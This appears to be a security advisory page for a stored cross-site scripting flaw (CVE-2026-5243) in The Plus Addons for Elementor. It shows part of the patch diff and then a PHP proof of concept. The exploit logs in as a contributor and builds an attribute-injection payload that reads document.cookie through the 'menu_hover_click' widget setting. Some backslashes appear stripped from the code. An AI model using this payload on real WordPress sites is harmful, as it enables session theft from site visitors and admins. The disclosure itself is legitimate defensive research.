+						// Ensure 0 and '0' are returned as '0', not as empty string.
+						// Elementor skips CSS generation when get_style_value returns ''.
+						if ( '' === $val || null === $val ) {
+							return '0';
+						}
+
+						return $val;
 					}
+
+					// Dimension key not found in preset — default to 0.
+					return '0';
 				}
 			}

--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-box-shadow-controller.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-box-shadow-controller.php
@@ -204,10 +204,10 @@
 	 * Usage: 'options' => TP_Box_Shadow_Global::get_preset_options()
 	 *
 	 * @since v6.5.0
-	 * @return array  [ '' => 'Select Preset', '_id' => 'Name', ... ]
+	 * @return array  [ '' => 'Select Box Shadow', '_id' => 'Name', ... ]
 	 */
 	public static function get_preset_options() {
-		$options = array( '' => esc_html__( 'Select Preset', 'tpebl' ) );
+		$options = array( '' => esc_html__( 'Select Box Shadow', 'tpebl' ) );

 		foreach ( self::get_global_box_shadow_list() as $preset ) {
 			$options[ $preset['_id'] ] = ! empty( $preset['name'] ) ? $preset['name'] : 'Unnamed';
--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-button-style-controller.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-button-style-controller.php
@@ -14,6 +14,7 @@
 use ElementorCoreKitsDocumentsTabsTab_Base;
 use ElementorRepeater;
 use ElementorPlugin;
+use ThePlusAddonsElementorBoxShadowTP_Box_Shadow_Global;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -28,6 +29,28 @@
  */
 class TP_Button_Style_Global extends Tab_Base {

+	protected function ensure_global_box_shadow_controller() {
+		if ( class_exists( 'ThePlusAddonsElementorBoxShadowTP_Box_Shadow_Global' ) ) {
+			return;
+		}
+
+		$path = L_THEPLUS_PATH . 'modules/extensions/global-control/class-tp-global-box-shadow-controller.php';
+
+		if ( file_exists( $path ) ) {
+			include_once $path;
+		}
+	}
+
+	protected function get_global_box_shadow_options() {
+		$this->ensure_global_box_shadow_controller();
+
+		if ( class_exists( 'ThePlusAddonsElementorBoxShadowTP_Box_Shadow_Global' ) ) {
+			return TP_Box_Shadow_Global::get_preset_options();
+		}
+
+		return array( '' => esc_html__( 'Select Global Shadow', 'tpebl' ) );
+	}
+
 	public function get_id() {
 		return 'tp-global-button-styles';
 	}
@@ -78,7 +101,7 @@
 			)
 		);

-		$repeater->add_control(
+		$repeater->add_responsive_control(
 			'margin',
 			array(
 				'label'      => esc_html__( 'Margin', 'tpebl' ),
@@ -95,7 +118,7 @@
 			)
 		);

-		$repeater->add_control(
+		$repeater->add_responsive_control(
 			'padding',
 			array(
 				'label'      => esc_html__( 'Padding', 'tpebl' ),
@@ -113,134 +136,6 @@
 		);

 		$repeater->add_control(
-			'typography_heading',
-			array(
-				'label'     => esc_html__( 'Typography', 'tpebl' ),
-				'type'      => Controls_Manager::HEADING,
-				'separator' => 'before',
-			)
-		);
-
-		$repeater->add_control(
-			'font_family',
-			array(
-				'label' => esc_html__( 'Font Family', 'tpebl' ),
-				'type'  => Controls_Manager::FONT,
-			)
-		);
-
-		$repeater->add_control(
-			'font_size',
-			array(
-				'label'      => esc_html__( 'Font Size', 'tpebl' ),
-				'type'       => Controls_Manager::SLIDER,
-				'size_units' => array( 'px', 'em', 'rem' ),
-				'range'      => array(
-					'px' => array(
-						'min' => 1,
-						'max' => 100,
-					),
-					'em' => array(
-						'min'  => 0.1,
-						'max'  => 10,
-						'step' => 0.1,
-					),
-					'rem' => array(
-						'min'  => 0.1,
-						'max'  => 10,
-						'step' => 0.1,
-					),
-				),
-				'default'    => array(
-					'unit' => 'px',
-					'size' => 16,
-				),
-			)
-		);
-
-		$repeater->add_control(
-			'font_weight',
-			array(
-				'label'   => esc_html__( 'Font Weight', 'tpebl' ),
-				'type'    => Controls_Manager::SELECT,
-				'default' => '600',
-				'options' => array(
-					''    => esc_html__( 'Default', 'tpebl' ),
-					'100' => '100',
-					'200' => '200',
-					'300' => '300',
-					'400' => '400',
-					'500' => '500',
-					'600' => '600',
-					'700' => '700',
-					'800' => '800',
-					'900' => '900',
-				),
-			)
-		);
-
-		$repeater->add_control(
-			'text_transform',
-			array(
-				'label'   => esc_html__( 'Text Transform', 'tpebl' ),
-				'type'    => Controls_Manager::SELECT,
-				'default' => '',
-				'options' => array(
-					''           => esc_html__( 'Default', 'tpebl' ),
-					'uppercase'  => esc_html__( 'Uppercase', 'tpebl' ),
-					'lowercase'  => esc_html__( 'Lowercase', 'tpebl' ),
-					'capitalize' => esc_html__( 'Capitalize', 'tpebl' ),
-					'none'       => esc_html__( 'Normal', 'tpebl' ),
-				),
-			)
-		);
-
-		$repeater->add_control(
-			'line_height',
-			array(
-				'label'      => esc_html__( 'Line Height', 'tpebl' ),
-				'type'       => Controls_Manager::SLIDER,
-				'size_units' => array( 'px', 'em', 'rem' ),
-				'range'      => array(
-					'px' => array(
-						'min' => 1,
-						'max' => 120,
-					),
-					'em' => array(
-						'min'  => 0.1,
-						'max'  => 10,
-						'step' => 0.1,
-					),
-					'rem' => array(
-						'min'  => 0.1,
-						'max'  => 10,
-						'step' => 0.1,
-					),
-				),
-			)
-		);
-
-		$repeater->add_control(
-			'letter_spacing',
-			array(
-				'label'      => esc_html__( 'Letter Spacing', 'tpebl' ),
-				'type'       => Controls_Manager::SLIDER,
-				'size_units' => array( 'px', 'em' ),
-				'range'      => array(
-					'px' => array(
-						'min' => -10,
-						'max' => 20,
-					),
-					'em' => array(
-						'min'  => -1,
-						'max'  => 2,
-						'step' => 0.1,
-					),
-				),
-			)
-		);
-
-		$repeater->add_control(
 			'normal_heading',
 			array(
 				'label'     => esc_html__( 'Normal State', 'tpebl' ),
@@ -290,7 +185,7 @@
 			)
 		);

-		$repeater->add_control(
+		$repeater->add_responsive_control(
 			'border_width',
 			array(
 				'label'      => esc_html__( 'Border Width', 'tpebl' ),
@@ -321,7 +216,7 @@
 			)
 		);

-		$repeater->add_control(
+		$repeater->add_responsive_control(
 			'border_radius',
 			array(
 				'label'      => esc_html__( 'Border Radius', 'tpebl' ),
@@ -446,6 +341,17 @@
 		);

 		$repeater->add_control(
+			'shadow_global_preset',
+			array(
+				'label'     => esc_html__( 'Global Shadow', 'tpebl' ),
+				'type'      => Controls_Manager::SELECT,
+				'options'   => $this->get_global_box_shadow_options(),
+				'default'   => '',
+				'separator' => 'before',
+			)
+		);
+
+		$repeater->add_control(
 			'hover_heading',
 			array(
 				'label'     => esc_html__( 'Hover State', 'tpebl' ),
@@ -495,7 +401,7 @@
 			)
 		);

-		$repeater->add_control(
+		$repeater->add_responsive_control(
 			'hover_border_width',
 			array(
 				'label'      => esc_html__( 'Border Width', 'tpebl' ),
@@ -526,7 +432,7 @@
 			)
 		);

-		$repeater->add_control(
+		$repeater->add_responsive_control(
 			'hover_border_radius',
 			array(
 				'label'      => esc_html__( 'Border Radius', 'tpebl' ),
@@ -650,14 +556,25 @@
 			)
 		);

+		$repeater->add_control(
+			'hover_shadow_global_preset',
+			array(
+				'label'     => esc_html__( 'Global Hover Shadow', 'tpebl' ),
+				'type'      => Controls_Manager::SELECT,
+				'options'   => $this->get_global_box_shadow_options(),
+				'default'   => '',
+				'separator' => 'before',
+			)
+		);
+
 		$this->add_control(
 			'tp_global_button_style_list',
 			array(
-				'label'       => esc_html__( 'Button Style Presets', 'tpebl' ),
-				'type'        => Controls_Manager::REPEATER,
-				'fields'      => $repeater->get_controls(),
-				'default'     => array(),
-				'title_field' => '{{{ name }}}',
+				'type'          => Controls_Manager::REPEATER,
+				'fields'        => $repeater->get_controls(),
+				'title_field'   => '{{{ name }}}',
+				'default'       => array(),
+				'prevent_empty' => false,
 			)
 		);

@@ -671,22 +588,13 @@
 	 * @return array
 	 */
 	public static function get_global_button_style_list() {
-		static $cache = null;
-
-		if ( null !== $cache ) {
-			return $cache;
-		}
-
 		$kit = Plugin::$instance->kits_manager->get_active_kit();
 		if ( ! $kit ) {
-			$cache = array();
-			return $cache;
+			return array();
 		}

-		$list  = $kit->get_settings( 'tp_global_button_style_list' );
-		$cache = ! empty( $list ) ? $list : array();
-
-		return $cache;
+		$list = $kit->get_settings( 'tp_global_button_style_list' );
+		return ! empty( $list ) ? $list : array();
 	}

 	/**
@@ -696,13 +604,17 @@
 	 * @return array
 	 */
 	public static function get_preset_options() {
-		$options = array( '' => esc_html__( 'Select Preset', 'tpebl' ) );
+		$presets = array();

 		foreach ( self::get_global_button_style_list() as $preset ) {
-			$options[ $preset['_id'] ] = ! empty( $preset['name'] ) ? $preset['name'] : esc_html__( 'Unnamed', 'tpebl' );
+			$id = isset( $preset['_id'] ) ? (string) $preset['_id'] : '';
+			if ( '' === $id ) {
+				continue;
+			}
+			$presets[ $id ] = ! empty( $preset['name'] ) ? $preset['name'] : esc_html__( 'Unnamed', 'tpebl' );
 		}

-		return $options;
+		return array( '' => esc_html__( 'Select Global Button', 'tpebl' ) ) + $presets;
 	}

 	/**
--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-button-style-helper.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-button-style-helper.php
@@ -0,0 +1,478 @@
+<?php
+/**
+ * Global Button Style Helper Trait
+ *
+ * Shared helpers for widgets that support global button presets,
+ * including nested global dimensions and box shadow presets.
+ *
+ * @link    https://posimyth.com/
+ * @since   v6.5.0
+ *
+ * @package the-plus-addons-for-elementor-page-builder
+ */
+
+namespace ThePlusAddonsElementorButtonStyle;
+
+use ThePlusAddonsElementorBoxShadowTP_Box_Shadow_Global;
+use ThePlusAddonsElementorDimensionsTP_Dimensions_Global;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+if ( ! trait_exists( 'ThePlusAddonsElementorButtonStyleTP_Global_Button_Style_Helper' ) ) {
+	trait TP_Global_Button_Style_Helper {
+
+		protected function ensure_global_button_style_controller() {
+			if ( class_exists( 'ThePlusAddonsElementorButtonStyleTP_Button_Style_Global' ) ) {
+				return;
+			}
+
+			$path = L_THEPLUS_PATH . 'modules/extensions/global-control/class-tp-global-button-style-controller.php';
+
+			if ( file_exists( $path ) ) {
+				include_once $path;
+			}
+		}
+
+		protected function ensure_global_dimensions_controller() {
+			if ( class_exists( 'ThePlusAddonsElementorDimensionsTP_Dimensions_Global' ) ) {
+				return;
+			}
+
+			$path = L_THEPLUS_PATH . 'modules/extensions/global-control/class-tp-global-dimensions-controller.php';
+
+			if ( file_exists( $path ) ) {
+				include_once $path;
+			}
+		}
+
+		protected function ensure_global_box_shadow_controller() {
+			if ( class_exists( 'ThePlusAddonsElementorBoxShadowTP_Box_Shadow_Global' ) ) {
+				return;
+			}
+
+			$path = L_THEPLUS_PATH . 'modules/extensions/global-control/class-tp-global-box-shadow-controller.php';
+
+			if ( file_exists( $path ) ) {
+				include_once $path;
+			}
+		}
+
+		protected function get_global_button_style_options() {
+			$this->ensure_global_button_style_controller();
+
+			if ( class_exists( 'ThePlusAddonsElementorButtonStyleTP_Button_Style_Global' ) ) {
+				return TP_Button_Style_Global::get_preset_options();
+			}
+
+			return array( '' => esc_html__( 'Select Button Styles', 'tpebl' ) );
+		}
+
+		protected function format_dimensions_css( $value ) {
+			if ( empty( $value ) || ! is_array( $value ) ) {
+				return '';
+			}
+
+			$unit = ! empty( $value['unit'] ) ? sanitize_text_field( $value['unit'] ) : 'px';
+			$keys = array( 'top', 'right', 'bottom', 'left' );
+			$out  = array();
+
+			foreach ( $keys as $key ) {
+				$out[] = ( '' === (string) ( $value[ $key ] ?? '' ) ? '0' : (float) $value[ $key ] ) . $unit;
+			}
+
+			return implode( ' ', $out );
+		}
+
+		protected function format_slider_css( $value ) {
+			if ( empty( $value ) || ! is_array( $value ) || ! isset( $value['size'] ) || '' === (string) $value['size'] ) {
+				return '';
+			}
+
+			$unit = ! empty( $value['unit'] ) ? sanitize_text_field( $value['unit'] ) : 'px';
+
+			return (float) $value['size'] . $unit;
+		}
+
+		protected function format_box_shadow_css( $preset, $prefix = '' ) {
+			$type_key   = $prefix . 'shadow_type';
+			$x_key      = $prefix . 'shadow_x';
+			$y_key      = $prefix . 'shadow_y';
+			$blur_key   = $prefix . 'shadow_blur';
+			$spread_key = $prefix . 'shadow_spread';
+			$color_key  = $prefix . 'shadow_color';
+
+			$x      = $this->format_slider_css( $preset[ $x_key ] ?? array() );
+			$y      = $this->format_slider_css( $preset[ $y_key ] ?? array() );
+			$blur   = $this->format_slider_css( $preset[ $blur_key ] ?? array() );
+			$spread = $this->format_slider_css( $preset[ $spread_key ] ?? array() );
+			$color  = $this->resolve_color_value( $preset, $color_key );
+
+			if ( '' === $x && '' === $y && '' === $blur && '' === $spread && '' === $color ) {
+				return '';
+			}
+
+			$parts = array();
+
+			if ( ! empty( $preset[ $type_key ] ) && 'bst_inset' === $preset[ $type_key ] ) {
+				$parts[] = 'inset';
+			}
+
+			$parts[] = '' !== $x ? $x : '0px';
+			$parts[] = '' !== $y ? $y : '0px';
+			$parts[] = '' !== $blur ? $blur : '0px';
+			$parts[] = '' !== $spread ? $spread : '0px';
+
+			if ( '' !== $color ) {
+				$parts[] = $color;
+			}
+
+			return implode( ' ', $parts );
+		}
+
+		/**
+		 * Get the max-width pixel value for a named Elementor breakpoint.
+		 *
+		 * Falls back to safe defaults (tablet = 1024, mobile = 767) when the
+		 * Elementor breakpoints API is unavailable.
+		 *
+		 * @since v6.5.0
+		 *
+		 * @param string $device  Breakpoint name, e.g. 'tablet' or 'mobile'.
+		 * @return int  Max-width value in pixels.
+		 */
+		protected function get_breakpoint_max( $device ) {
+			$defaults = array(
+				'widescreen'    => 2400,
+				'laptop'        => 1366,
+				'tablet_extra'  => 1200,
+				'tablet'        => 1024,
+				'mobile_extra'  => 880,
+				'mobile'        => 767,
+			);
+
+			try {
+				if ( class_exists( 'ElementorPlugin' ) && isset( ElementorPlugin::$instance->breakpoints ) ) {
+					$bp = ElementorPlugin::$instance->breakpoints->get_breakpoints();
+					if ( isset( $bp[ $device ] ) ) {
+						return (int) $bp[ $device ]->get_value();
+					}
+				}
+			} catch ( Exception $e ) {
+				// Ignore — fall back to defaults below.
+			}
+
+			return isset( $defaults[ $device ] ) ? $defaults[ $device ] : 1024;
+		}
+
+		/**
+		 * Build media-query-wrapped CSS for one responsive breakpoint.
+		 *
+		 * Only dimension properties (margin, padding, border-width, border-radius)
+		 * are responsive. Colors and shadows are desktop-only.
+		 *
+		 * @since v6.5.0
+		 *
+		 * @param array  $preset       Full repeater-item preset data.
+		 * @param string $scope        CSS scope selector (e.g. "#uid123").
+		 * @param string $device       Breakpoint name: 'tablet' | 'mobile' | etc.
+		 * @param string $normal_sel   CSS selector appended to $scope for normal state.
+		 * @param string $hover_sel    CSS selector appended to $scope for hover state.
+		 * @return string  Complete @media block, or '' if nothing to output.
+		 */
+		protected function build_button_responsive_css( $preset, $scope, $device, $normal_sel, $hover_sel ) {
+			$sfx    = '_' . $device;
+			$normal = array();
+			$hover  = array();
+
+			// --- Normal-state responsive dimensions ---
+			$margin = ! empty( $preset[ 'margin' . $sfx ] )
+				? $this->resolve_dimensions_value( $preset[ 'margin' . $sfx ] )
+				: array();
+
+			$padding = ! empty( $preset[ 'padding' . $sfx ] )
+				? $this->resolve_dimensions_value( $preset[ 'padding' . $sfx ] )
+				: array();
+
+			$border_width = ! empty( $preset[ 'border_width' . $sfx ] )
+				? $this->resolve_dimensions_value( $preset[ 'border_width' . $sfx ] )
+				: array();
+
+			$border_radius = ! empty( $preset[ 'border_radius' . $sfx ] )
+				? $this->resolve_dimensions_value( $preset[ 'border_radius' . $sfx ] )
+				: array();
+
+			// --- Hover-state responsive dimensions ---
+			$hover_border_width = ! empty( $preset[ 'hover_border_width' . $sfx ] )
+				? $this->resolve_dimensions_value( $preset[ 'hover_border_width' . $sfx ] )
+				: array();
+
+			$hover_border_radius = ! empty( $preset[ 'hover_border_radius' . $sfx ] )
+				? $this->resolve_dimensions_value( $preset[ 'hover_border_radius' . $sfx ] )
+				: array();
+
+			// Build normal declarations.
+			if ( ! empty( $margin ) ) {
+				$v = $this->format_dimensions_css( $margin );
+				if ( '' !== $v ) {
+					$normal[] = 'margin:' . $v;
+				}
+			}
+
+			if ( ! empty( $padding ) ) {
+				$v = $this->format_dimensions_css( $padding );
+				if ( '' !== $v ) {
+					$normal[] = 'padding:' . $v;
+				}
+			}
+
+			if ( ! empty( $border_width ) ) {
+				$v = $this->format_dimensions_css( $border_width );
+				if ( '' !== $v ) {
+					$normal[] = 'border-width:' . $v;
+				}
+			}
+
+			if ( ! empty( $border_radius ) ) {
+				$v = $this->format_dimensions_css( $border_radius );
+				if ( '' !== $v ) {
+					$normal[] = 'border-radius:' . $v;
+				}
+			}
+
+			// Build hover declarations.
+			if ( ! empty( $hover_border_width ) ) {
+				$v = $this->format_dimensions_css( $hover_border_width );
+				if ( '' !== $v ) {
+					$hover[] = 'border-width:' . $v;
+				}
+			}
+
+			if ( ! empty( $hover_border_radius ) ) {
+				$v = $this->format_dimensions_css( $hover_border_radius );
+				if ( '' !== $v ) {
+					$hover[] = 'border-radius:' . $v;
+				}
+			}
+
+			if ( empty( $normal ) && empty( $hover ) ) {
+				return '';
+			}
+
+			$max = $this->get_breakpoint_max( $device );
+			$css = '@media (max-width:' . $max . 'px){';
+
+			if ( ! empty( $normal ) ) {
+				$css .= $scope . ' ' . $normal_sel . '{' . implode( ';', $normal ) . ';}';
+			}
+
+			if ( ! empty( $hover ) ) {
+				$css .= $scope . ' ' . $hover_sel . '{' . implode( ';', $hover ) . ';}';
+			}
+
+			$css .= '}';
+
+			return $css;
+		}
+
+		protected function resolve_dimensions_value( $value ) {
+			if ( empty( $value ) || ! is_array( $value ) ) {
+				return array();
+			}
+
+			if ( empty( $value['tp_global_preset'] ) ) {
+				return $value;
+			}
+
+			$this->ensure_global_dimensions_controller();
+
+			if ( ! class_exists( 'ThePlusAddonsElementorDimensionsTP_Dimensions_Global' ) ) {
+				return $value;
+			}
+
+			$preset_values = TP_Dimensions_Global::get_preset_raw_values( $value['tp_global_preset'] );
+
+			if ( empty( $preset_values ) ) {
+				return $value;
+			}
+
+			return array_merge( $value, $preset_values );
+		}
+
+		protected function resolve_box_shadow_css( $preset, $prefix = '' ) {
+			$global_key = $prefix . 'shadow_global_preset';
+
+			if ( ! empty( $preset[ $global_key ] ) ) {
+				$this->ensure_global_box_shadow_controller();
+
+				if ( class_exists( 'ThePlusAddonsElementorBoxShadowTP_Box_Shadow_Global' ) ) {
+					$global_css = TP_Box_Shadow_Global::get_preset_css( $preset[ $global_key ] );
+
+					if ( '' !== $global_css ) {
+						return $global_css;
+					}
+				}
+			}
+
+			return $this->format_box_shadow_css( $preset, $prefix );
+		}
+
+		protected function build_global_button_style_css( $preset_id, $scope ) {
+			$this->ensure_global_button_style_controller();
+
+			if ( ! class_exists( 'ThePlusAddonsElementorButtonStyleTP_Button_Style_Global' ) ) {
+				return '';
+			}
+
+			$preset = TP_Button_Style_Global::get_preset( $preset_id );
+
+			if ( empty( $preset ) ) {
+				return '';
+			}
+
+			$normal = array();
+			$hover  = array();
+
+			$margin              = ! empty( $preset['margin'] ) ? $this->resolve_dimensions_value( $preset['margin'] ) : array();
+			$padding             = ! empty( $preset['padding'] ) ? $this->resolve_dimensions_value( $preset['padding'] ) : array();
+			$border_width        = ! empty( $preset['border_width'] ) ? $this->resolve_dimensions_value( $preset['border_width'] ) : array();
+			$border_radius       = ! empty( $preset['border_radius'] ) ? $this->resolve_dimensions_value( $preset['border_radius'] ) : array();
+			$hover_border_width  = ! empty( $preset['hover_border_width'] ) ? $this->resolve_dimensions_value( $preset['hover_border_width'] ) : array();
+			$hover_border_radius = ! empty( $preset['hover_border_radius'] ) ? $this->resolve_dimensions_value( $preset['hover_border_radius'] ) : array();
+
+			if ( ! empty( $margin ) ) {
+				$normal[] = 'margin:' . $this->format_dimensions_css( $margin );
+			}
+
+			if ( ! empty( $padding ) ) {
+				$normal[] = 'padding:' . $this->format_dimensions_css( $padding );
+			}
+
+			$text_color = $this->resolve_color_value( $preset, 'text_color' );
+			if ( '' !== $text_color ) {
+				$normal[] = 'color:' . $text_color;
+			}
+
+			$background_color = $this->resolve_color_value( $preset, 'background_color' );
+			if ( '' !== $background_color ) {
+				$normal[] = 'background-color:' . $background_color;
+			}
+
+			if ( isset( $preset['border_style'] ) && '' !== $preset['border_style'] ) {
+				$normal[] = 'border-style:' . sanitize_text_field( $preset['border_style'] );
+			}
+
+			if ( ! empty( $border_width ) ) {
+				$normal[] = 'border-width:' . $this->format_dimensions_css( $border_width );
+			}
+
+			$border_color = $this->resolve_color_value( $preset, 'border_color' );
+			if ( '' !== $border_color ) {
+				$normal[] = 'border-color:' . $border_color;
+			}
+
+			if ( ! empty( $border_radius ) ) {
+				$normal[] = 'border-radius:' . $this->format_dimensions_css( $border_radius );
+			}
+
+			$normal_shadow = $this->resolve_box_shadow_css( $preset );
+			if ( '' !== $normal_shadow ) {
+				$normal[] = 'box-shadow:' . $normal_shadow;
+			}
+
+			$hover_text_color = $this->resolve_color_value( $preset, 'hover_text_color' );
+			if ( '' !== $hover_text_color ) {
+				$hover[] = 'color:' . $hover_text_color;
+			}
+
+			$hover_background_color = $this->resolve_color_value( $preset, 'hover_background_color' );
+			if ( '' !== $hover_background_color ) {
+				$hover[] = 'background-color:' . $hover_background_color;
+			}
+
+			if ( isset( $preset['hover_border_style'] ) && '' !== $preset['hover_border_style'] ) {
+				$hover[] = 'border-style:' . sanitize_text_field( $preset['hover_border_style'] );
+			}
+
+			if ( ! empty( $hover_border_width ) ) {
+				$hover[] = 'border-width:' . $this->format_dimensions_css( $hover_border_width );
+			}
+
+			$hover_border_color = $this->resolve_color_value( $preset, 'hover_border_color' );
+			if ( '' !== $hover_border_color ) {
+				$hover[] = 'border-color:' . $hover_border_color;
+			}
+
+			if ( ! empty( $hover_border_radius ) ) {
+				$hover[] = 'border-radius:' . $this->format_dimensions_css( $hover_border_radius );
+			}
+
+			$hover_shadow = $this->resolve_box_shadow_css( $preset, 'hover_' );
+			if ( '' !== $hover_shadow ) {
+				$hover[] = 'box-shadow:' . $hover_shadow;
+			}
+
+			$css = '';
+
+			if ( ! empty( $normal ) ) {
+				$css .= $scope . ' .pt_plus_button .button-link-wrap{' . implode( ';', $normal ) . ';}';
+			}
+
+			$icon_color = $this->resolve_color_value( $preset, 'icon_color' );
+			if ( '' !== $icon_color ) {
+				$css .= $scope . ' .pt_plus_button .button-link-wrap .btn-icon,' . $scope . ' .pt_plus_button .button-link-wrap svg{color:' . $icon_color . ';fill:' . $icon_color . ';}';
+			}
+
+			if ( ! empty( $hover ) ) {
+				$css .= $scope . ' .pt_plus_button .button-link-wrap:hover{' . implode( ';', $hover ) . ';}';
+			}
+
+			$hover_icon_color = $this->resolve_color_value( $preset, 'hover_icon_color' );
+			if ( '' !== $hover_icon_color ) {
+				$css .= $scope . ' .pt_plus_button .button-link-wrap:hover .btn-icon,' . $scope . ' .pt_plus_button .button-link-wrap:hover svg{color:' . $hover_icon_color . ';fill:' . $hover_icon_color . ';}';
+			}
+
+			// Responsive dimension overrides (tablet → mobile, highest-to-lowest so cascade works correctly).
+			foreach ( array( 'tablet', 'mobile' ) as $device ) {
+				$css .= $this->build_button_responsive_css(
+					$preset,
+					$scope,
+					$device,
+					'.pt_plus_button .button-link-wrap',
+					'.pt_plus_button .button-link-wrap:hover'
+				);
+			}
+
+			return $css;
+		}
+
+		/**
+		 * Resolve a color value from a preset, falling back to Elementor global color CSS variables.
+		 *
+		 * When the user picks a global Elementor color in a repeater COLOR control, Elementor
+		 * stores an empty string in the value key and puts the reference in __globals__. This
+		 * helper checks both locations and returns either the direct value or the resolved
+		 * CSS variable (e.g. var(--e-global-color-primary)).
+		 *
+		 * @since v6.5.0
+		 *
+		 * @param array  $preset Repeater item data.
+		 * @param string $key    Control key to resolve.
+		 * @return string  Color value or CSS variable string, or '' if unset.
+		 */
+		protected function resolve_color_value( $preset, $key ) {
+			if ( ! empty( $preset['__globals__'][ $key ] ) ) {
+				$parsed = wp_parse_url( $preset['__globals__'][ $key ] );
+				if ( ! empty( $parsed['query'] ) ) {
+					parse_str( $parsed['query'], $q );
+					if ( ! empty( $q['id'] ) ) {
+						return 'var(--e-global-color-' . sanitize_key( $q['id'] ) . ')';
+					}
+				}
+			}
+
+			return ! empty( $preset[ $key ] ) ? sanitize_text_field( $preset[ $key ] ) : '';
+		}
+	}
+}
--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-controller-main.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-global-controller-main.php
@@ -80,9 +80,11 @@

                             $css = ThePlusAddonsElementorBoxShadowTP_Box_Shadow_Global::get_preset_css( $value );
                             if ( ! $css ) {
-                                break;
+                                continue;
                             }

+                            // $key example: "box_shadow_tp_bs_global_preset"
+                            // Strip the 20-char suffix "_tp_bs_global_preset" to get the group name prefix.
                             $base_name    = substr( $key, 0, -20 );
                             $selector_key = $base_name . '_' . $base_name . '_tp_bs_selector_store';

@@ -91,8 +93,7 @@
                             $wrapper_class = '.elementor-element-' . $element_id;
                             $selector      = str_replace( '{{WRAPPER}}', $wrapper_class, $selector_tmpl );

-                            echo '<style>' . $selector . '{box-shadow:' . $css . ' !important;}</style>';
-                            break;
+                            echo '<style>' . wp_strip_all_tags( $selector ) . '{box-shadow:' . wp_strip_all_tags( $css ) . ' !important;}</style>';
                         }
                     },
                     10
@@ -136,9 +137,11 @@

                             $css = ThePlusAddonsElementorGradientTP_Gradient_Global::get_preset_css( $value );
                             if ( ! $css ) {
-                                break;
+                                continue;
                             }

+                            // $key example: "bg_tp_gg_global_preset"
+                            // Strip the 20-char suffix "_tp_gg_global_preset" to get the group name prefix.
                             $base_name    = substr( $key, 0, -20 );
                             $selector_key = $base_name . '_' . $base_name . '_tp_gg_selector_store';

@@ -147,8 +150,7 @@
                             $wrapper_class = '.elementor-element-' . $element_id;
                             $selector      = str_replace( '{{WRAPPER}}', $wrapper_class, $selector_tmpl );

-                            echo '<style>' . $selector . '{background-image:' . $css . ' !important;}</style>';
-                            break;
+                            echo '<style>' . wp_strip_all_tags( $selector ) . '{background-image:' . wp_strip_all_tags( $css ) . ' !important;}</style>';
                         }
                     },
                     10
@@ -186,6 +188,71 @@
                     },
                     100
                 );
+
+                // Inject global-preset SELECT into Elementor's native Image Box widget
+                // (its image_border_radius uses SLIDER, not DIMENSIONS, 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5243 - The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Navigation Menu Lite Widget

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'contributor';
$password = 'password'; // Change to contributor credentials

// Step 1: Login to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);

// Step 2: Get the admin nonce and create a new post with malicious Navigation Menu Lite widget
// The parameter 'menu_hover_click' accepts inline JavaScript
$payload = '"' . ' onfocus="alert(document.cookie)" autofocus="true"';

// Create a simple page with Elementor data containing the vulnerable widget
$post_data = array(
    'title' => 'XSS Test ' . time(),
    'content' => '',
    'status' => 'publish',
    'meta_input' => array(
        '_elementor_data' => '[{"id":"a1b2c3d4","elType":"widget","widgetType":"tp-navigation-menu-lite","settings":{"menu_hover_click":"' . addslashes($payload) . '"}}]',
        '_elementor_version' => '3.0.0',
        '_elementor_edit_mode' => 'builder'
    )
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=page');
curl_setopt($ch, CURLOPT_HTTPGET, true);
$page_html = curl_exec($ch);

// Extract _wpnonce for wp_rest (Elementor uses REST API)
preg_match('//wp-json/elementor/v1/documents/[^"]*/save/', $page_html, $matches);

if (empty($matches)) {
    die("Could not find REST API endpoint. This PoC may need adjustment for the specific environment.n");
}

echo "Vulnerability test requires manual creation in Elementor editor.n";
echo "The 'menu_hover_click' parameter can be set to: " . $payload . "n";

curl_close($ch);
echo "Proof of Concept execution complete. Check the target site for stored XSS.n";
?>

Frequently Asked Questions

